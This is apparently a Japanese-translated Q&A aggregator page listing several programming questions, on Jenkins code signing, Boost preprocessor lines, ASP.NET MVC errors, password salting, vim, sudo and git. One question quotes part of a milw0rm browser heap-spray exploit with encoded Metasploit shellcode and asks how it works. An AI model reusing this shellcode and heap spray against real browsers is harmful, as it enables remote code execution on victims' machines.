プログラミング

プロおよび熱狂的プログラマーのためのQ&A

17
「ユーザーの操作は許可されていません」コードサインを使用してOSXアプリに署名しようとしています
Jenkinsで自動ビルドが実行されています。ビルド自体はスレーブで実行されており、スレーブはSSH経由で実行されます。 エラーが発生します: 00:03:25.113 [codesign-app] build/App.app: User interaction is not allowed. 私はここの他の投稿でこれまでに見たすべての提案を試しました: 署名の直前にセキュリティロック解除キーチェーンを使用して、キーチェーンのロックを解除します。 署名キーを独自のキーチェーンに移動します。 署名キーをログインキーチェーンに移動します。 署名キーをシステムキーチェーンに移動します。 キーを含むキーチェーンのみにリストキーチェーンを手動で設定します。 すべての場合で、同じエラーが発生します。 この問題を診断するために、ローカル端末で「security unlock-keychain」コマンドを実行してみたところ、実際にはキーチェーンのロックが解除されないことがわかりました。キーチェーンアクセスを調べても、ロック記号は残っています。これは、コマンドラインでパスワードを渡す場合でも、パスワードを要求する場合でも同じです。GUIを使用して同じキーチェーンのロックを解除すると、パスワードの入力を求められ、ロックが解除されます。さらに、「セキュリティロックキーチェーン」を実行すると、コマンドの実行直後にキーロックが表示されます。これにより、ロック解除キーチェーンは実際には機能しないと思います。Lion(ビルドスレーブに使用)とMavericks(開発中)でも同じ動作が発生します。 次に、すべてのセキュリティコマンドに-vを追加してみました。 list-keychains "-d" "system" "-s" "/Users/tester/.secret/App.keychain" Listing keychains to see if it was added: (( "/Library/Keychains/System.keychain" )) unlock-keychain "-p" "**PASSWORD**" "/Users/tester/.secret/App.keychain" build/App.app: User interaction is not allowed. このことから、リストキーチェーンは機能していないようです。多分どちらも動作しません。:/ ここに同様の質問があります。ソリューションは興味深いです-launchctlで "SessionCreate"をtrueに設定します。しかし、私はマスターでビルドしていません-ビルドプロセスは、スレーブビルドマシンのSSHから開始されます。たぶん、 "SessionCreate"を実行したときにlaunchctlが実行していることを実行するコマンドラインの方法があるのでしょうか。

3
C / C ++プリプロセッサの1行に1つのポンド/ハッシュ記号(#)を付ける目的は何ですか?
私はBoostライブラリのソースコードを見ていましたが、プリプロセッサディレクティブが付加されていないシングルポンド記号がよくあることに気づきました。GCCプリプロセッサのマニュアルと仕様ガイドを読みましたが、何も見つかりません。 (1) #ifndef BOOST_CONFIG_HPP (2) # include <boost/config.hpp> (3) #endif (4) # (5) #if defined(BOOST_HAS_PRAGMA_ONCE) (6) # pragma once (7) #endif 4行目では、ポンド記号の後に何もありません。これはどのような影響がありますか?Cプリプロセッサ(CPP)仕様で定義されていますか? Boostはクロスプラットフォームライブラリであるため、CPPで正しく解析できると思います。コード全体にランダムなポンド記号/ハッシュ記号があると、どのような影響/副作用がありますか?
145 c++  c  boost  c-preprocessor 

8
ASP.NET MVCでモデル状態エラーのコレクションを取得するにはどうすればよいですか?
ビューでエラーのコレクションを取得するにはどうすればよいですか? Html Helper Validation SummaryまたはValidation Messageを使用したくありません。代わりに、エラーを確認し、特定の形式で表示するかどうかを確認します。また、入力コントロールで、特定のプロパティエラーをチェックし、入力にクラスを追加したいと思います。 PS私はSpark View Engineを使用していますが、考え方は同じです。 だから私は何かができると思った... <if condition="${ModelState.Errors.Count > 0}"> DispalyErrorSummary() </if> ....and also... <input type="text" value="${Model.Name}" class="?{ModelState.Errors["Name"] != string.empty} error" /> .... またはそのようなもの。 更新 私の最終的な解決策は次のようになりました: <input type="text" value="${ViewData.Model.Name}" class="text error?{!ViewData.ModelState.IsValid && ViewData.ModelState["Name"].Errors.Count() > 0}" id="Name" name="Name" /> これは、このプロパティにエラーがある場合にのみエラーcssクラスを追加します。

7
このmilw0rmヒープスプレーエクスプロイトはどのように機能しますか?
私は通常、JavaScriptコードを読むのに困難はありませんが、このコードではロジックを理解できません。コードは4日前に公開されたエクスプロイトからのものです。あなたはでそれを見つけることができますmilw0rm。 これがコードです: <html> <div id="replace">x</div> <script> // windows/exec - 148 bytes // http://www.metasploit.com // Encoder: x86/shikata_ga_nai // EXITFUNC=process, CMD=calc.exe var shellcode = unescape("%uc92b%u1fb1%u0cbd%uc536%udb9b%ud9c5%u2474%u5af4%uea83%u31fc%u0b6a%u6a03%ud407%u6730%u5cff%u98bb%ud7ff%ua4fe%u9b74%uad05%u8b8b%u028d%ud893%ubccd%u35a2%u37b8%u4290%ua63a%u94e9%u9aa4%ud58d%ue5a3%u1f4c%ueb46%u4b8c%ud0ad%ua844%u524a%u3b81%ub80d%ud748%u4bd4%u6c46%u1392%u734a%u204f%uf86e%udc8e%ua207%u26b4%u04d4%ud084%uecba%u9782%u217c%ue8c0%uca8c%uf4a6%u4721%u0d2e%ua0b0%ucd2c%u00a8%ub05b%u43f4%u24e8%u7a9c%ubb85%u7dcb%ua07d%ued92%u09e1%u9631%u5580"); // ugly heap spray, the d0nkey way! // works most of the time var spray = unescape("%u0a0a%u0a0a"); do { spray += spray; } while(spray.length < 0xd0000); memory …

4
ベストプラクティス:パスワードをソルトアンドペパーリングしますか?
私が行っていることは、実際にはパスワードをソルト処理するのではなく、それらをペパーリングすることであることがわかったディスカッションに出会い、それ以来、次のような関数で両方を実行し始めました。 hash_function($salt.hash_function($pepper.$password)) [multiple iterations] 選択したハッシュアルゴリズムを無視します(これはソルト&ペッパーの説明であり、特定のアルゴリズムではありませんが、安全なアルゴリズムを使用しています)、これは安全なオプションですか、それとも何か別のことをする必要がありますか?用語に不慣れな方のために: 塩は、通常、それが不可能なパスワードをクラックするハッシュテーブルを使用するようにするために設計されたデータベース内の文字列を格納し、ランダムに生成された値です。各パスワードには独自のソルトがあるため、パスワードを解読するためにすべて個別にブルートフォースする必要があります。ただし、ソルトはパスワードハッシュとともにデータベースに格納されるため、データベースのセキュリティが侵害されると、両方が失われます。 唐辛子は秘密であることが意図されている(通常は、アプリケーションのソースコードにハードコードされた)データベースとは別に格納されているサイト全体の静的な値です。これは、データベースが侵害されてもアプリケーション全体のパスワードテーブルがブルートフォース可能にならないようにするために使用されます。 不足しているものはありますか?ユーザーのセキュリティを保護するために、パスワードをソルト&ペッパーリングするのが最良のオプションですか?この方法で行うことには、潜在的なセキュリティ上の欠陥はありますか? 注:説明のために、アプリケーションとデータベースは別々のマシンに格納されていると仮定します。パスワードは共有しないでください。したがって、データベースサーバーの違反が、アプリケーションサーバーの違反を自動的に意味するわけではありません。



4
vimで単語を検索しますか?
vimでで単語を検索できます/word。どのように私はを検索することができますwordのための検索を除く、word1とword2?
145 vim 


3
パスワードなしで別のユーザーとしてスクリプトを実行するにはどうすればよいですか?
user2として実行する必要があるscript.shがあります。ただし、このスクリプトは、アプリケーションのuser1の下でのみ実行できます。 次のコマンドを実行してください。 su user2 -C script.sh ただし、パスワードなしで実行できます。 また、user1はuser2の下でしかscript.shを実行できず、他には何も実行できないため、これも非常に制限したいと考えています。 私はこれをsudoersファイルで試してみましたが、何時間も試行した後、際限なく混乱しました。 誰かがこれをどのように達成できるかについての明確な例を提供できる場合(sudoersのような一般的なものの代わりに)、それは大いに評価されます。
145 linux  bash  sudo  su  sudoers 



5
Select UniqueとSelect Distinctの違い
これらは同義語だと思いましたが、Microsoft SQLで次のように書きました。 Select Unique col from (select col from table1 union select col from table2) alias そして、それは失敗しました。に変更 Select Distinct col from (select col from table1 union select col from table2) alias 修正しました。誰かが説明できますか?
145 sql  sql-server 


1
マスターブランチをアップストリームに戻す方法
私はgitリポジトリをforkし、上流でセットアップしました。Masterブランチにいくつかの変更を加え、コミットしてgithubにプッシュしました。 次に、Masterブランチでのすべての変更を破棄して、アップストリームのマスターブランチと同じにするために何をすべきですか?
145 git  github 

弊社のサイトを使用することにより、あなたは弊社のクッキーポリシーおよびプライバシーポリシーを読み、理解したものとみなされます。
Licensed under cc by-sa 3.0 with attribution required.